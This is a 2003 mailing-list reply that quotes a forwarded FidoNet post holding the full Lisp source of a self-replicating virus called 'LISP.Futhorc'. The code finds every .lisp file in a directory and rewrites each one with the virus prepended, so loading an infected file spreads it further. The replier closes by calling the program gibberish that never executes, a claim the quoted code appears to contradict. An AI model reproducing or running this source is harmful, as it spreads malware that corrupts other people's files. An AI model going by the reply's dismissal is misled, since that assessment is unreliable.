>>>>> On Fri, 27 Jun 2003 13:32:13 +0700, Ivan Boldyrev ("Ivan") writes:
Ivan> From: "Ilya V. Vasilyev" (2:5020/287) Ivan> Subject: Just for fun Ivan> Newsgroups: fido7.xsu.hacker Ivan> Date: Thu, 26 Jun 2003 10:27:28 +0600 Ivan> Organization: Hackers' POWER BBS
Ivan> =========================================================================== == Ivan> * Forwarded by Ilya V. Vasilyev (2:5020/287) Ivan> * Area : su.cm (su.cm) Ivan> * From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21) Ivan> * To : All Ivan> * Subj : Just for fun Ivan> =========================================================================== == Ivan> * Originally in su.cm Ivan> Crossposted to pvt.virii Ivan> Crossposted to ru.virus
Ivan> ;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03 Ivan> (setq virus '(defun infect (&optional (ls (directory "*.lisp"))) Ivan> (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s))) Ivan> (when (setq vic (car ls)) Ivan> (let ((p nil)) (with-open-file (i vic :direction :input) Ivan> (unless (equal (second (read i)) 'VIRUS) (file-position i 0) Ivan> (loop (unless (setq line (read-line i nil nil)) (return)) Ivan> (setq p (append p (list line)))))) Ivan> (when p (with-open-file (o vic :direction :output) Ivan> (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus) Ivan> (writel p o)))) Ivan> (infect (cdr ls)))) Ivan> )(eval virus)(infect)
I would be circumspect in writing programs called "Virus" and posting them on the net in so-called "hacker" newsgroups, even if it is supposed to be (I assume) some kind of joke. It looks like you are not the original author of the "virus" program, but can you understand what you have posted? It's as if someone has cut-and-pasted fragments of Lisp code from other programs, without understanding what they were copying. This program is a lot of gibberish and does not do anything at all: most of it is never even executed.